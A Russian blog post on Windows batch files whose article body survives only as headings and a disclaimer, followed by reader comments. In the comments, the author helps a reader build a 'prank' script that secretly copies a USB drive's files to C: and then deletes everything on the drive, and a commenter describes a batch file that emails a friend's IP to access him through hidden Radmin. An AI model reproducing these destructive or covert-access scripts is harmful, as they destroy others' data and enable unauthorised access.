категории | RSS

Пакетные файлы (bat, батники) Windows

Вместо вступления:
Пакетные файлы (batch file) - это текстовые файлы в системе Windows, MS-DOS и OS/2, содержащие в себе команды, подготовленные для последовательного исполнения интерпритатором ОС.
На первый взгляд может показаться, что данные возможности системы абсолютно бесполезны для рядового пользователя, однако это не совсем так. При помощи пакетных файлов можно существенно упростить рутинную работу с ПК, сделать её удобнее, воспользоваться некоторыми скрытыми возможностями.
Новатором и пионером в данной области я, само собой, не являюсь, просто постараюсь изложить здесь базовое представление об этом типе файлов, рассмотреть некоторые примеры и остановиться на парочке деталей и тонкостей, касающихся так называемых батников.

Для удобства написания и, естественно, восприятия разобью статью по разделам. Но сначала:

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Некоторые манипуляции с пакетными файлами могут нанести вред системе (порой даже непоправимый), поэтому предупреждаю сразу, ни автор статьи, ни администрация сайта не несут абсолютно никакой ответственности за последствия, которые может повлечь за собой выполнение действий, представленных в этой статье. Надеюсь на ваше понимание и прямоту ваших рук....

 Часть первая. Основные моменты



 Часть вторая. Синтаксис

Приступим....

 Часть третья. Резервное копирование

 Часть четвертая. Создание и удаление

 Часть пятая. Прочие возможности

 Часть шестая. Хитрости или шутки в сторону

 Часть седьмая. Преобразование

Вместо заключения:
Остаётся только напомнить, что вообще команд огромное количество, а вариантов их сочетаний и вовсе - бесконечное множество. Любую команду можно сначала проверить в командной строке, а только потом добавлять в тело пакетного файла....

Будьте осторожны и удачных вам экспериментов (:

Apres
2012-08-22T20:00:18Z

Здесь находятся
всего 0. За сутки здесь было 0 человек

Комментарии 18

#18   Apres    

aleksei.pavin, практически полноценный вирус. Если ещё прикручивать кроме ip отправку определённых файлов.... есть, где разгуляться.


1 ответить

#18   aleksei.pavin    

У меня где то валяется батник который отправляет твой ip на определенный электронный адрес)полезно когда стоит у друга скрытый радмин и можно к нему залезть


0 ответить

#18   Vint2208    

Ну эту статейку в закладки однозначно! good
*Общее представление имею, а в тонкостях так и не разобрался))
**Спасибо


2 ответить

#18   Usernokiamen    

Apres,
в другой кодировке были крякозябры


0 ответить

#18   Apres    

rerz, winked слово \"вирус\" тут не стал употреблять, знаю, будет много разговоров. Хотя вред нанести компу можно (если постараться, то и формат C:\\ зафурычит).
Антивирусники не на всё, но ругаются (:
Спасибо за отзыв....


0 ответить

#18   rerz    

доктор WEB возмутился- значит всё правильно написал, bat`ники это вещь! Как говорится- \"пишы исчо\".


1 ответить

#18   Apres    

Usernokiamen, не, я имею ввиду, на utf8 у тебя что-нибудь не работает? Или просто как альтернатива?


0 ответить

#18   Usernokiamen    

Apres, Не знаю, упустил или нет, но у меня так прокатило, вобщем коменты люди почитают, разберутся как что


* редактировал(а) Usernokiamen 23 августа 2012

0 ответить

#18   Apres    

Usernokiamen, а в utf8 что-то некорректно работает? belay
Не спорю, utf8, само собой, тоже поддерживает кириллицу, но у меня и на utf8 не было сбоев, вроде. Может я упустил что-то?


0 ответить

#18   Usernokiamen    

MD "%USERPROFILE%\\Desktop\\%datetemp%" - прокатило! Спасибо!
-------------
Добавлено в 11.59: посмотрел, вобщем для Кириллицы лучше использовать кодировку chcp 65001 - это utf8, у меня после этого корректно начало работать


0 ответить

#18   Apres    

Usernokiamen, не совсем понял. Т.е. нужно, чтобы папка с именем в виде текущей даты появлялась на рабочем столе?
Если да, то вот:

@echo off
chcp 1251
set datetemp=%date:~-10%
MD "%USERPROFILE%\\Рабочий стол\\%datetemp%"


Это для XP.
Если не так понял, прошу исправить request


* редактировал(а) Apres 23 августа 2012

0 ответить

#18   Usernokiamen    

Еще один ворпос
MD "C:\\%datetemp%"
а как заставить чтобы
C:\\Users\\Name\\Desktop работало с C:\\Users\\Name\\Desktop*.* не прокатило


0 ответить

#18   Apres    

Цитата: Usernokiamen
а как насчет проводника?

Достаточно просто последней строкой добавить
explorer.exe G:\\
Откроется флэха. rundll32 не нужен....
З.Ы.: прошу прощения у всех за невнимательность. Пропадающие слэши пока не поборол....
-------------
Добавлено в 15.17: Проблема пропадания слэшей возникала из-за выделения кода цветом. От этого пришлось отказаться. Статью поправил....


* редактировал(а) Apres 22 августа 2012

0 ответить

#18   Usernokiamen    

а как насчет проводника?


0 ответить

#18   Apres    

Вот блин, все слэши в путях посыпались, пока статейку туда-сюда копировал!!!
Сейчас быстренько подправлю.

Цитата: Usernokiamen
Я правильно понял? Для жесткого стеба?
@echo off
:test
if exist g: goto go
goto test
:go
xcopy "G:*.*" "C:упс*.*"
Y|del "G:*.*"

Не совсем. Во-первых, моя ошибка, слэши надо в путях расставить, во-вторых, второй строкой добавь указание кодировки, иначе не увидит русские буквы в файлах, не сможет копировать в папку с русским именем, в-третьих, перед последней строкой надо добавить echo, т.к. следом идёт ответ. Т.е. конечный код будет таким:
@echo off
chcp 1251
:test
if exist g: goto go
goto test
:go
xcopy "G:\\*.*" "C:\\упс\\*.*"
echo Y|del "G:\\*.*"


* редактировал(а) Apres 22 августа 2012

0 ответить

#18   Usernokiamen    

Я правильно понял? Для жесткого стеба?
@echo off
:test
if exist g: goto go
goto test
:go
xcopy "G:*.*" "C:упс*.*"
Y|del "G:*.*"
-------------
Добавлено в 11.54: и еще как тогда после того как копирование, затирка прошла открыть флеху чтобы показать что она пуста

rundll32 ... explorer.exe G:\\ ?


1 ответить

#18   Camerado    

Спасибо, почитаю на досуге...


2 ответить

#18   Usernokiamen    

Спасибо Огромное! Нужная информация! буду изучать! Еще раз Спасибо!


1 ответить